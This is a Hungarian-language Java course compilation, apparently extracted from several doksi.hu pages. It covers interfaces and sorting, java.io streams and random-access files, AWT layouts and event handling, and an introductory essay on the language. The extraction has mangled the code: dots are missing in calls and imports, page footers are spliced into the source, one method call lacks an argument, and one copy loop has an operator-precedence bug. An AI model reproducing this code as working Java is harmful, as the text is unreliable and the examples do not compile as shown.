new EgeszRendez[6]; in[0] = new EgeszRendez(7); in[1] = new EgeszRendez(9); in[2] = new EgeszRendez(4); in[3] = new EgeszRendez(8); in[4] = new EgeszRendez(1); in[5] = new EgeszRendez(5); try { Rendez.rend(in); } catch (ErvenytelenTipusException et) {System.outprintln("Hibás típus: " + et); } for (int i=0; i<in.length; i++) System.outprintln(in[i]); file:///E|/docs/Untitled/Interfeszek.html (9 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu } } class EgeszRendez implements Rendezheto { int tetel; public EgeszRendez(int elem) { tetel = elem; } public boolean kisebbMint(Rendezheto elem) throws ErvenytelenTipusException { if (elem instanceof EgeszRendez) return tetel < ((EgeszRendez)elem).tetel; else throw new ErvenytelenTipusException(elem.toString()); } public String toString() { return "" + tetel; } } //------------------------------------ Rendez + összead // Az interfészben van egy átalakít metódus, amely az
összegzéshez // double típusúvá alakítja az elem típusát // File: Rendezheto4.java public interface Rendezheto4 { boolean kisebbMint(Rendezheto4 s); double atalakit(); } //-----------------------------------// File: Rendez4.java public class Rendez4 { public static void rend(Rendezheto4 [] tomb) { int n = tomb.length; int i, j; Rendezheto4 temp; file:///E|/docs/Untitled/Interfeszek.html (10 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu for (i=0; i<n; i++) { for (j=i+1; j<n; j++) { if (tomb[j].kisebbMint(tomb[i])) { temp = tomb[i]; tomb[i] = tomb[j]; tomb[j] = temp; } } } } } //-----------------------------------// File: Osszead4.java public class Osszead4 { public static double Osszead(Rendezheto4 [] tomb) { int n = tomb.length; int i; double temp = 0.0; for (i=0; i<n; i++) temp += tomb[i].atalakit(); return temp; } } //-----------------------------------// File: RendezTeszt4.java class RendezTeszt4 { public static void main(String []
args) { FloatRendez [] in = new FloatRendez[6]; in[0] = new FloatRendez(7); in[1] = new FloatRendez(9); in[2] = new FloatRendez(4); in[3] = new FloatRendez(8); in[4] = new FloatRendez(1); in[5] = new FloatRendez(5); Rendez4.rend(in); for (int i=0; i<in.length; i++) System.outprintln(in[i]); double sum = 0; sum = Osszead4.Osszead(in); System.outprintln("Összeg: " + sum); file:///E|/docs/Untitled/Interfeszek.html (11 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu } } //----------------------------------------class FloatRendez implements Rendezheto4 { float tetel; public FloatRendez(float elem) { tetel = elem; } public boolean kisebbMint(Rendezheto4 elem){ return tetel < ((FloatRendez)elem).tetel; } public double atalakit(){ return (double)tetel; } public String toString() { return "" + tetel; } } //------------------------------------ Rendezés típus ellenõrzéssel 2. // Az implementáló osztály egyben kiterjeszt egy másik
osztályt //-----------------------------------// File: ErvenytelenTipusException.java public class ErvenytelenTipusException extends Exception{ public ErvenytelenTipusException(String s) { super(s); } } //-----------------------------------// File: Rendezheto.java public interface Rendezheto { boolean kisebbMint(Rendezheto s) throws ErvenytelenTipusException; file:///E|/docs/Untitled/Interfeszek.html (12 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu } //-----------------------------------// File: Rendez.java public class Rendez { public static void rend(Rendezheto [] tomb) throws ErvenytelenTipusException { int n = tomb.length; int i, j; Rendezheto temp; for (i=0; i<n; i++) { for (j=i+1; j<n; j++) { if (tomb[j].kisebbMint(tomb[i])) { temp = tomb[i]; tomb[i] = tomb[j]; tomb[j] = temp; } } } } } //-----------------------------------// File: RendezTeszt.java class RendezTeszt { public static void main(String [] args) { EgeszRendez [] in = new
EgeszRendez[6]; in[0] = new EgeszRendez(7); in[1] = new EgeszRendez(9); in[2] = new EgeszRendez(4); in[3] = new EgeszRendez(8); in[4] = new EgeszRendez(1); in[5] = new EgeszRendez(5); try { Rendez.rend(in); } catch (ErvenytelenTipusException et) {System.outprintln("Hibás típus: " + et); } for (int i=0; i<in.length; i++) System.outprintln(in[i]); } } class Egesz { public int tetel; public Egesz(int e) { file:///E|/docs/Untitled/Interfeszek.html (13 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu tetel = e; } } class EgeszRendez extends Egesz implements Rendezheto { public EgeszRendez(int elem) { super(elem); } public boolean kisebbMint(Rendezheto elem) throws ErvenytelenTipusException { if (elem instanceof EgeszRendez) return tetel < ((EgeszRendez)elem).tetel; else throw new ErvenytelenTipusException(elem.toString()); } public String toString() { return "" + tetel; } } //------------------------------------
file:///E|/docs/Untitled/Interfeszek.html (14 of 14)20040118 3:00:59 Java Input/Output Forrás: http://www.doksihu Java Input/Output Csatornák Karakter szervezésû Byte szervezésû Csatorna megnyitása és lezárása Kiíró mûveletek Olvasó mûveletek Leképzés fizikai adatszerkezetre File-ok Csövek Byte- és karaktertömbök, sztringek Szûrõk Adattípus értéke beolvasása és kiírása Véletlen elérésû file-ok (RandomAccessFile) Kapcsolat a file rendszerrel (File osztály) Példák Példa1 N egész szám kiirása Random file-ba A Java.io csomag Java Input/Output A Bemenet/Kimenet a Stream (csatorna) fogalmához kapcsolódik. A csatorna olyan adatsorozat, amelyet feldolgozhatunk olvasó mûveletekkel, vagy elõállít–hatunk író mûveletekkel. Lényegében szekvenciális Input/Output. A csatorna egy absztrakciós szint. amely a bemenet/kimenet kezelését függetleníti az operációs rendszertõl, az eszközöktõl, amelyen az adatokat tároljuk (bill.,
képernyõ, file-ok, párhuzamos szálak közti csõcsatorna) Témák: file:///E|/docs/Untitled/Input Output.html (1 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu Csatornák Leképzés fizikai adatszerkezetre Szûrõk Véletlen elérésû file-ok Kapcsolat a file rendszerrel Kivétel kezelése Csatornák 1. Byte szervezésûek (legkisebb egység a byte) Az osztályok az InputStream és az OutputStream absztrakt osztályok leszármazottai. Pl.: OutputStream: public void write(byte b []) throws IOException 2. Karakter szervezésûek (karakterek, sztringek) (legkisebb egység a Unicode char) Az osztályok az Reader és a Writer absztrakt osztályok leszármazottai. Pl.: Writer: public void write(char c []) throws IOException Csatorna megnyitása és lezárása Megnyitás: csatorna objektum létrehozása konstruktorral. Írás/Olvasás: a csatorna objektumon kell végrehajtani. Lezárás: a csatorna objektum close() metódusával. Pl.: import java.io*;
FileWriter fout = new FileWriter("adat.txt"); // megnyitás // Kiírás fout.close(); // lezárás Kiíró mûveletek Karakter csatornára (OutputStreamWriter) write(int c) throws IOException write(char c [], int off, int len) throws IOException write(String s, int off, int len) throws IOException write(char c []) throws IOException rite(String s) throws IOException Byte csatornára (Output Stream) absztrakt file:///E|/docs/Untitled/Input Output.html (2 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu write(int b) throws IOException (absztrakt) write(byte b[]) throws IOException write(byte b[], int off, int len) throws IOException Kivételek: IOException NullPointerException ArrayIndexOutOfBoundException Olvasó mûveletek Karakter csatornára (Reader) ■ int read() throws IOException // 1 karakter beolvasása, blokkolódik,ha nincs //karakter a csatornán; -1, ha csatorna vége int read (char c []) throws IOException int read (char c [], int off, int
len) throws IOException Byte csatornára (InputStream) int read() throws IOException // 1 byte beolvasása (absztrakt) int read (byte b []) throws IOException int read (byte c [], int off, int len) throws IOException Üres csatorna: Nem tartalmaz adatot. Ha beolvasás közben a csatorna kiürül, a read blokkolódik, amíg adat érkezik Végetért csatorna A csatorna vége jelet tartalmazza. Pl.: public static void masol (InputStream in, OutputStream out) throws IOException { int b; while (b = in.read() != -1) outwrite(b); out.flush(); } Leképzés fizikai adatszerkezetre file:///E|/docs/Untitled/Input Output.html (3 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu File-ok (pl.: FileInputStream) Csövek (pl.:, PipedInputStream, PipedOutputStream) Byte- és karaktertömbök, sztringek (pl.: CharArrayWriter) File-ok Karaktercsatorna: FileReader, FileWriter Byte csatorna: FileInputStream, FileOutputStream Konstuktor pl. FileReader(String file név) throws
FileNotFoundException FileReader(File file) throws FileNotFoundException FileReader(FileDescriptor fd) Csövek Szálak közti kommunikáció megszervezésére való. PipedInputStream - PipedOutputStream vagy PipedReader - PipedWriter összekapcsolásával jön létre A csõcsatorna összekapcsolását a bemenet és a kimenet is kezdeményezheti! Pl.: PipedInputStream in = new PipedInputStream(out); // a bemeneti csatorna rákapcsolódik a kimeneti catornára // a kimeneti csatornát elõbb létre kell hozni Byte- és karaktertömbök, sztringek byte[] és char[] típusú objektumok adják a csatorna fizikai reprezentációját. Byte csatorna felett létrehozott karakter csatornák Az InputStreamReader és az osztélyok OutputStreamWriter byte csatorna felett vannak definiálva. Olvasáskor, íráskor a byte-ok automatikusan Unicode-dá (és viszont) konvertálódnak. A konstruktor paramétere dönti el, hogy milyen szabvány szerint kell a konverziót elvégezni. Pl.: Billentyûzetrõl
olvasunk WindowsEE/ISO Latin-2 karaktereket: InputStreamReader in = new InputStreamReader(System.in, "Cp1250"); A File Reader és a FileWriter a fenti osztályok leszármazottai ugyanúgy byte csatorna felett vannak definiálva, de a konstruktoruknak nem adható meg, hogy milyen kódolást használjanak. Az op rendszer alapértelmezett kódolását használja. file:///E|/docs/Untitled/Input Output.html (4 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu Szûrõk Az osztályai nem azt írják le, hogy honnan olvasunk, vagy hová írunk, hanem azt, hogy ezt hogyan csináljuk. Ezekkel egy már meglévõ csatornát ruházunk fel különleges tulajdonságokkal. Például a DataOutputStream-mel int-eket írhatun ki (bináris alakban): FileOutputStream fout = new FileOutputStream("adat.txt"); DataOutputStream dout = new DataOutputStream(fout); dout.writeInt(51); // dout-on keresztül az fout-ra írunk dout.close(); // rekurzíven mindkét csatornát
lezárja A szûrõk egymásba ágyazhatók, mivel ezek maguk is csatornák. A szûrõknek ezt a mûködési elvét delegációnak nevezzük. A szûrõkre meghívott mûveleteket úgy hajtják végre, hogy igénybe veszik a szûrendõ csatrona szolgáltatásait. Adattípus értéke beolvasása és kiírása A DataInputStream és a DataOutputStream szûrõkkel a Java adattípusait tudjuk beolvasni/kiírni. (Szabványos, gépfüggetlen reprezentáció) DataInputStream file:///E|/docs/Untitled/Input Output.html (5 of 13)20040118 3:01:00 DataOutputStream Java Input/Output Forrás: http://www.doksihu int read(byte b[]) throws IOException flush() throws IOException int read(byte b[], int off, int len) int size() // eddig kiírt byte-ok readFully(byte b[]) write(int b) readFully(byte b[], int off, int len) int write(byte b[], int off, int len) int skipBytes(int n) boolean readBoolean() writeBoolean(boolean b) byte readByte(byte v) writeByte(byte v) int readUnsignedByte()
short readShort() writeShort(int v) int readUnsignedShort() char readChar() writeChar(int v) int readInt() writeInt(int v) long readLong() writeLong(long v) float readFloat() writeFloat(float v) double readDouble() writeDouble(double v) String readLine() // deprecated writeBytes(String s) // alsó byte-ok writeChars(String s) // 2 byte String readUTF() writeUTF(String s) Sor beolvasása: a BufferedReader osztály readLine() metódusával javasolt! Szöveg kiírása: PrintStream, PrintWriter osztályok (más-más csatornára írnak) Valamennyi adattípust kiírhatják szöveges formában: print vagy println write (String s) (int i) (double d) (int c) (char b[]) (char b[], int off, int len) (String s) file:///E|/docs/Untitled/Input Output.html (6 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu Véletlen elérésû file-ok (RandomAccessFile) Felfogható, mint egy file rendszerben tárolt byte-vektor. Bármelyik pozicióján lévõ byte
olvasható/írható. File-mutató: ettõl kezdõdõen olvasunk/írunk (automatikusan továbblép!) Lekérdezése: getFilePointer() Beállítása: seek() Tetszõleges adattípus olvasható/írható. Ugyanúgy használható, mint a DataInputStream és a DataOutputStream Kivételek: EOFException IOException A RandomAccessFile konstruktorának a 2. paramétere: "r": csak olvasás "rw": írás/olvasás Kapcsolat a file rendszerrel (File osztály) Információt tartalmaz egy file-ról vagy könyvtárról, és file- és könyvtár kezelési mûveleteket lehet végrehajtani a segítségével. Az file tartalmát nem ezzel dolgozzuk fel! Létrehozása konstruktorral: File f = new File("munka/adat.txt"); File f = new File("adat.txt"); Nem létezõ állományhoz is létrehozható File objektum! Konstruktorok: File(String út); File(String út, String név); File(File út, String név); Metódusok: boolean canRead(); boolean canWrite(); boolean delete();
boolean exists(); String getAbsolutePath(); String getName(); String getParent(); String getPath(); boolean isAbsolute(); file:///E|/docs/Untitled/Input Output.html (7 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu boolean Directory(); boolean isFile(); long lastModified(); long length(); String [] list(); // a könyvtár állományai boolean mkdir(); boolean mkdirs(); boolean renameTo(); Példák Példa1 import java.io*; import java.util*; public class IOtest1 { public static void main(String [] args) { byte [] t = new byte[80]; String s = ""; int n=0, i=0, db=0, j=0; byte max= 10; boolean eof=false; String [] tk = new String[max]; Integer [] egesz = new Integer[max]; FileWriter f = null; PrintWriter g = null; try { /* // DataInputStream readln() metódusa deprecated DataInputStream in = new DataInputStream(System.in); */ InputStreamReader in = new InputStreamReader(System.in); BufferedReader br = new BufferedReader(in);
System.outprintln("Kérem az adatokat, egy-egy sorban többet is lehet (max 10, de ures sor zár):"); while (!eof) { s = br.readLine(); if (s.length() == 0) eof = true; StringTokenizer st = new StringTokenizer(s); while (st.hasMoreTokens()) { tk[n++] = st.nextToken(); db++; } } } catch (IOException io) {System.outprintln(io+" hiba"); } catch (ArrayIndexOutOfBoundsException tulcsordul) {System.outprintln(" Tomb megtelt"); } file:///E|/docs/Untitled/Input Output.html (8 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu for (j=0; j<db; j++) { System.outprintln(tk[j]); } // Beolvasott adatokat file-ba menti try { f = new FileWriter("adat.txt"); g = new PrintWriter(f, true); for (j=0; j<db; j++) { g.println(tk[j]); } } catch (IOException io) {System.outprintln(io+" hiba"); } finally {g.close();} //---------------------------------// A string tomb adatait integer tipusu tombbe teszi for (j=0; j<db; j++) egesz[j]
= new Integer(0); for (j=0; j<db; j++) { try { egesz[j] = new Integer(tk[j]); } catch (NumberFormatException nf) {System.outprintln(j+1 + " adat hibas: " + tk[j]);} } // Kiirjuk az egesz tomb tartalmat for (j=0; j<db; j++) { System.outprintln(egesz[j]floatValue()); } } } N egész szám kiirása Random file-ba import java.io*; import java.util*; import corejava.*; // public class IOtest2 { public static void main(String [] args) throws IOException { int i, n=100, k= 0; StringBuffer s; RandomAccessFile f = null; String st; System.outprint("Kérem a file nevét: "); /* byte [] nev = new byte[20]; file:///E|/docs/Untitled/Input Output.html (9 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu System.inread(nev); st = new String(nev); System.outprint("File név hossza: "+ stlength()); File fn = new File(st.trim()); // Le kell vágni a fölösleges karaktereket */ InputStreamReader in = new InputStreamReader(System.in);
BufferedReader br = new BufferedReader(in); st = br.readLine(); //br.close(); //in.close(); System.outprint("File név hossza: "+ stlength()); File fn = new File(st); /* st = Console.readString(""); System.outprint("File név hossza: "+ stlength()); File fn = new File(st); */ fn.delete(); try { f = new RandomAccessFile(fn, "rw"); for (i=1; i<=n; i++) f.writeInt(i); } catch (IOException io) {System.outprintln(io+" hiba"); Systemexit(1); } try { int x; f.seek(0); for (i=1; i<=n; i++) { if (i/10*10+1 == i) System.outprintln(); x = f.readInt(); s = new StringBuffer(""+x); s.insert(0, new char[8-slength()]); System.outprint(s); } System.outprintln(); System.outprintln("egeszdat file mérete: " + flength()); // i = 3; // az i. adatot olvassuk be // f.seek((i-1) * 4); // x = f.readInt(); // System.outprintln(x); } catch (IOException io) {System.outprintln(io+" hiba"); } finally {f.close();} } }
file:///E|/docs/Untitled/Input Output.html (10 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu A Java.io csomag file:///E|/docs/Untitled/Input Output.html (11 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu file:///E|/docs/Untitled/Input Output.html (12 of 13)20040118 3:01:00 Java Input/Output Forrás: http://www.doksihu file:///E|/docs/Untitled/Input Output.html (13 of 13)20040118 3:01:00 User interfész Forrás: http://www.doksihu Grafikus kezeloi felület készítése A grafikus felület Konténer osztályok Layout menedzserek FlowLayout BorderLayout CardLayout GridLayout GridBagLayout AWT komponens hierarchia Eseménykezelés AWT eseményosztályok Eventlistener interfészek Példák Checkbox alkalmazás Checkbox alkalmazás eseménykezeléssel Program paraméterek kiírása Lista használata Grafikus kezelõi felület készítése (User interfész) Grafikus kezelõi felület létrehozása. A Java Abstract Window Toolkit
(AWT) osztály könyvtár támogatja a grafikus kezelõi felület létrehozását. Az AWT platform független, de nem olyan kifinomult, mint más fejlesztõ rendszerek GUI interfészei. Témák Stand alone alkalmazások ( grafikus kezelõi felületek létrehozása) Appletek (böngészõ Java alkalmazásai) Konténerek file:///E|/docs/Untitled/User interfesz.html (1 of 12)20040118 3:01:01 ( grafikus kezelõi felületek létrehozása) User interfész Forrás: http://www.doksihu Komponensek grafikus kezelõi felület felépítése Pakolási stratégia Eseménykezelés (egér és billentyû események) A grafikus felület A grafikus felület komponensekbõl áll (a komponens osztályok példányai). A komponens osztályok a Component osztály leszármazottai. A komponenseket a konténer osztályok foglalják egységbe. Tehát a komponesek a konténerek egy csoportját kezelik és vezérlik. A konténerek a felhasználói eseményeket a komponenseikhez továbbítják. A
konténer osztályok a Container osztály leszármazottai. A Container a Component leszármazottja, ezért egy konténer további konténereket tartalmazhat. A konténerek a rendelkezésükre álló helyet a képernyõn az ún. pakolási stratégia alapján osztják fel, vagyis, hol helyezkedjen el a komponens, és hogyan változzon a mérete, ha a konténer mérete változik. Egy pakolási stratégia a LayoutManeger interfész megvalósítása. Több ilyen pakolási stratégia létezik: FlowLayout, BorderLayout, stb. A konténerekbe a komponenst a konténer add() metódusával lehet felvenni, és a remove() metódusával lehet eltávolítani. Ha egy konténer komponens listája változik, a validate() metódus hívásával a megjelenítést aktualizálni kell. Konténer osztályok Panel/Applet A java.appletApplet a Panel-bõl származik file:///E|/docs/Untitled/User interfesz.html (2 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu Window/Frame A Window keret
nélküli, a Frame kerettel rendelkezõ különálló ablak ScrollPane Egyetlen komponenst tartalmazhat, görgetõ sávokkal rendelkezik Dialog/FileDialog Kommunikáció a felhasználóval dialógus ablakok segítségével: adatbekérés, hiba kijelzés. Mindig egy másik ablakhoz tartoznak Lehetnek modálisak is Layout menedzserek FlowLayout: addig pakolja a komponenseket egymás mellé, amíg elférnek, majd a következõ sorban folytatja. (Ez az applet alapértelmezett Layout menedzsere.) BorderLayout: az égtájak szerint és középre helyezhetjük az egyes komponenseket. North West Center East South panel.add(komponens, "East"); // A panel egy konténer CardLayout: nem tárgyaljuk GridLayout: a komponensek négyzetrácsba kerülnek, amelyeknek a mérete azonos. panel.setLayout(new gridLayout(5, 4)); panel.add(new Button ("1")); panel.add(new Button ("2")); GridBagLayout: egy milliméter papírhoz hasonló rácson minden komponensek egy
vagy több cellát foglalhat el. A komponensek kezdõ poziciója megadható. file:///E|/docs/Untitled/User interfesz.html (3 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu A kezelése bonyolult. A Layout menedzsert le is lehet tiltani, a komponensek abszolút poziciója is megadható. AWT komponens hierarchia file:///E|/docs/Untitled/User interfesz.html (4 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu Eseménykezelés Az eseményeket egy osztályhierarchia kezeli, amelynek gyökere a java.utilEventObject Egy bizonyos típusú eseményhez a gyökérosztály egy neki megfelelõ eseménye tartozik. Az AWT-beli események a java.awtAWTEvent osztályba tartoznak Az események egy forrás objektumból származnak, és egy vagy több fogadó objektumnak adódnak át a fogadó file:///E|/docs/Untitled/User interfesz.html (5 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu objektum megfelelõ metódusának meghívásán
keresztül. Az eseménykezelés osztályai a java.awtevent csomagban vannak (importálni kell!) Az eseményfajták fogadására interfészeket készítettek. Ha egy osztály megvalósít egy ilyen interfészt, akkor a példányai fogadó objektumok lesznek, vagyis feldolgozzák az ennek megfelelõ eseményeket. Ahhoz, hogy a fogadó objektumok megkapják az eseményeket, regisztrálniuk kell magukat az esemény forrásánál. Pl.: Az ablak a Frame osztály leszármazottja. Implementálja az ActionListener interfészt Ez az esemény fogadója Az interfész összes metódusát implementálni kell. Ez esetben csak az ActionPerformed metódust A Bezár nyomógomb az esemény forrása. Ennél kell regisztrálni az ablakot, hogy adja át neki az ActionEvent típusú objektumot: ■ bezarButton.addActionListener(this) Pl.: file:///E|/docs/Untitled/User interfesz.html (6 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu FocusListener interfész metódusai:
focusGained(FocusEvent e) focusLost(FocusEvent e) FocusEvent eseményosztály konstruktora: public FocusEvent(Component source, int id, boolean temporary) ❍ source: a java.utilEventObjectgetSource() metódusával kérdezhetõ le, hogy kitõl származik az esemény ( source.getSource() ) ActionListener interfész metódusai: actionPerformed(ActionEvent e) ActionEvent eseményosztály konstruktora: public ActionEvent(Object source, int id, String command, int modifiers) ■ source: esemény forrása id: esemény azonosítása command: parancs sztring modifiers: billentyûk kombinációja, amelyeket lenyomva tartottunk az esemény keletkezésekor ActionEvent metódusai: String getActionCommand() int getModifiers() AWT eseményosztályok file:///E|/docs/Untitled/User interfesz.html (7 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu Eventlistener interfészek (java.utilEventListener) ActionListener AdjustListener ComponentListener ContainerListener
file:///E|/docs/Untitled/User interfesz.html (8 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu FocusListener ItemListener KeyListener MouseListener MouseMotionListener TextListener WindowListener Példák Checkbox alkalmazás import java.awt*; public class CheckboxTestF extends Frame { Checkbox c1; Checkbox c2 = new Checkbox("2. box", true); Checkbox c3 = new Checkbox("3. box", false); CheckboxGroup cbg = new CheckboxGroup(); // Csoportos checkboxok létrehozása public CheckboxTestF() { // konstruktor super("Checkbox alkalmazás"); setLayout(new FlowLayout()); c1 = new Checkbox("1. box", true); add(c1); // Különálló checkbox-ok létrehozása add(c2); add(c3); add(new Checkbox("1. radio ", cbg, true)); add(new Checkbox("2. radio ", cbg, false)); add(new Checkbox("3. radio ", cbg, true)); setSize(250, 200); validate(); } public static void main(String args[]) { CheckboxTestF fr = new
CheckboxTestF(); fr.show(); } } file:///E|/docs/Untitled/User interfesz.html (9 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu Checkbox alkalmazás eseménykezeléssel import java.awt*; public class CheckboxTestF extends Frame { Checkbox c1; Checkbox c2 = new Checkbox("2. box", true); Checkbox c3 = new Checkbox("3. box", false); CheckboxGroup cbg = new CheckboxGroup(); // Csoportos checkboxok létrehozása public CheckboxTestF() { // konstruktor super("Checkbox alkalmazás"); setLayout(new FlowLayout()); c1 = new Checkbox("1. box", true); add(c1); // Különálló checkbox-ok létrehozása add(c2); add(c3); add(new Checkbox("1. radio ", cbg, true)); add(new Checkbox("2. radio ", cbg, false)); add(new Checkbox("3. radio ", cbg, true)); setSize(250, 200); validate(); } public static void main(String args[]) { CheckboxTestF fr = new CheckboxTestF(); fr.show(); } } Program paraméterek kiírása
import java.awt*; import java.awtevent*; import java.utilProperties; //grafikus komponensek miatt kell //eseménykezelés miatt kell //rendszerparaméterlistázáshoz kell public class Params extends Frame implements ActionListener { TextArea textArea=new TextArea(); Button bezarButton=new Button("Bezár"); public Params() { super("Params alkalmazás"); bezarButton.addActionListener(this); add("South", bezarButton); add("Center", textArea); setSize(300, 200); validate(); } public static void main(String args[]) { file:///E|/docs/Untitled/User interfesz.html (10 of 12)20040118 3:01:01 //Frame-tol öröklés //szövegmezo //nyomógomb //konstruktor //Frame konstruktorát meghívjuk //figyeli a gombot //a gomb lent lesz //a többi helyen szövegmezô lesz //kezdeti méret beállítása //grafikus felület aktualizálása //indítás User interfész Forrás: http://www.doksihu Params frame=new Params(); //példányosítás
frame.textAreaappend("Paraméterszám: "+argslength+" "); for (int számláló=0;számláló<args.length;számláló++) //paraméterek listázása frame.textAreaappend(számláló+1+" paraméter: "+args[számláló]+" "); frame.show(); //felület megjelenítése } public void actionPerformed(ActionEvent e) { System.getProperties()list(Systemout); System.exit(0); } //eseménykezelo //listázás //kilépés a programból } Lista használata import java.awt*; import java.awtevent*; public class ListTestF extends Frame implements ActionListener, ItemListener, FocusListener { List l1=new List(8, false); // egyszeres választású lista List l2=new List(3, true); // többszörös választású lista TextArea t = new TextArea("Kezdetben üres volt"); // szövegterület TextField tf = new TextField(10); // szövegmezö public ListTestF() { l1.addItem("1/1"); l1.addItem("1/2"); l1.addItem("1/3");
l1.addItem("1/4"); l1.addItem("1/5"); l1.select(0); l1.select(1); // konstruktor // elsõ lista felépítése // csak ez lesz kiválasztva, mert egyszeres választású a lista l2.addItem("2/elso"); // második lista felépítése l2.addItem("2/második"); l2.select(0); // mindketto ki lesz választva l2.select(1); add("West",l1); add("East",l2); add("Center", tf); add("South",t); // alapértelmezett pakolási startégia: BorderLayout l1.addActionListener(this); l2.addItemListener(this); tf.addFocusListener(this); t.setEditable(false); setSize(400, 300); validate(); } file:///E|/docs/Untitled/User interfesz.html (11 of 12)20040118 3:01:01 User interfész Forrás: http://www.doksihu public void actionPerformed(ActionEvent evt) { t.insert("Következö: " + l1getSelectedItem() + , 0); validate(); } public void itemStateChanged(ItemEvent e) { int index =
Integer.parseInt(egetItem()toString()); String s = ""; if (l2.isIndexSelected(index)) s = index + ". Kiválasztva: " + l2getItem(index); else s = index + ". Nincs kiválasztva: " + l2getItem(index); t.insert("Következö: " + s + , 0); validate(); } public void focusGained(FocusEvent foc) { } public void focusLost(FocusEvent foc) { TextField o = (TextField)foc.getSource(); try { int x = Integer.parseInt(ogetText()); } catch (NumberFormatException n) {o.setText("Hibás adat!"); /* Dialog d = new Dialog((Frame)o.getParent(), "Hibás adat!", true); d.show(); // Nem lehet becsukni a dialógus ablakot! */ } } public static void main(String args[]) { //indítás ListTestF frame=new ListTestF(); //példányosítás frame.show(); //felület megjelenítése } } file:///E|/docs/Untitled/User interfesz.html (12 of 12)20040118 3:01:01 A Jáva programozási nyelv Forrás: http://www.doksihu A Jáva programozási nyelv
Tartalomjegyzék Röviden az elõzményekrõl A nyelv legfontosabb tulajdonságai Egyszerû Objektumorientált Architektúrafüggetlen és hordozható Java Interpretált és dinamikus Robusztus és biztonságos Többszálú Elosztott Összefoglalás Végezetül néhány kérdés, kétely Fontosabb WWW címek Duke A Sun-nál már megint kitaláltak valamit 1: új programozási nyelvtõl hangos az Internet, itt van a Jáva 2 - angolosan Java! Manapság mindenki errõl beszél: kisebb és nagyobb cégek lelkesen üdvözlik az új nyelvet, technológiát; csatlakozó, támogató nyilatkozataikkal telve a szaksajtó. Az esetleges tõkeerõs - ellenzõk egyelõre bölcsen hallgatnak vagy - rosszmájú vélemények szerint - ravasz módon, beépülve, belülrõl próbálják kisajátítani, a saját ízlésüknek, piaci érdekeiknek megfelelõre formálni az alakuló technológiát. Programozók, felhasználók lelkes és szkeptikus hada vitázik egymással, a nyelvvel foglalkozó
hírcsoport, a comp.langjava meghaladja a nagy "vetélytárs" nyelvhez tartozó comp.langc++ forgalmát 1996 elsõ félévében a Jáva nyelvrõl másfél tucat könyv megjelenése várható. Izzanak az Internet vonalak a Sun és a Netscape FTP szerverei környékén, ahonnan letölthetõk az elsõ ismerkedéshez szükséges programok. Végezetül egy ún Jávát értõ böngészõvel (Java-aware browser) rendelkezõ szerencsések egyre gyakrabban bukkannak a WWW világában meghökkentõ oldalakra, olyanra, ahol például a fenti vörös orrú, fekete sapkás, figura - Dukenak hívják - vidáman lengeti felénk a bal kezét! Pont ez az integetés az, ami megindokolja, hogy miért kell nekünk egy új programozási nyelv, amikor olyan jól megvoltunk mi az X-szel (itt mindenki behelyettesítheti a kedvencét). Ugyan a Jáva nyelv tulajdonságainak felsorolásánál megtalálhatunk számos olyan divatos kifejezést - pl. objektumorientált, párhuzamos, elosztott, stb. -,
amik nélkül manapság egyetlen a valamire való programozót sem lehetne elcsábítani a kedvenc, ódivatú nyelvének pontosvesszõi és zárójelei mellõl, de ez még kevés lenne a file:///E|/docs/Untitled/article.html (1 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu sikerhez, elvégre világmegváltó nyelvek napról napra születnek. Szerintem a várható sikernek ezen felül két jelentõs indoka van: elõször is sok befolyásos számítástechnikai cég elhitte, hogy van benne fantázia és most - remélhetõleg - dõl a pénz a fejlesztésre. A felhasználók szempontjából sokkal fontosabb a másik érv: a Jáva nyelv összeházasodott HotJava napjaink legdivatosabb számítástechnikai játékszerével, az Internet hálózattal. A házasságból egyelõre két gyermek született, a Sun HotJava- illetve a Netscape WWW böngészõ programjának új, 2.0 verziója. Bár mindkét gyermek fejletlenke még, csak béta korúak, de már
ki-kimutatják oroszlánkörmeiket, sõt újabb gyerekek érkezése is várható. Mellesleg a HotJava teljes egészében Jáva nyelven íródott, azt bizonyítandó, hogy a nyelv eléggé izmos ilyen méretû feladatok megoldására. Egy ilyen Jávát értõ böngészõvel az egér egyetlen óvatlan kattintására nem csak adatokat, de teljes, futni képes programokat is letölthetünk a kiszolgálóról, amely aztán el is indul a mi számítógépünkön. Akinek errõl a vírusok, férgek és egyéb rosszindulatú programok jut az eszébe, nyugodjon meg, késõbb még lesz errõl is szó! Mire jó egy ilyen program? Hát természetesen bármire - a Jáva általános célú programozási nyelv -, a program nálunk fut, nem terheli az eredeti kiszolgálót, jópofa dolgokat rajzol, menükkel, párbeszédablakokkal tarkítja a képernyõnkre, hangokat ad, egyszóval életet lehel a letöltött dokumentumba. Persze ennél többet is tehet, például felveheti a kapcsolatot azzal a
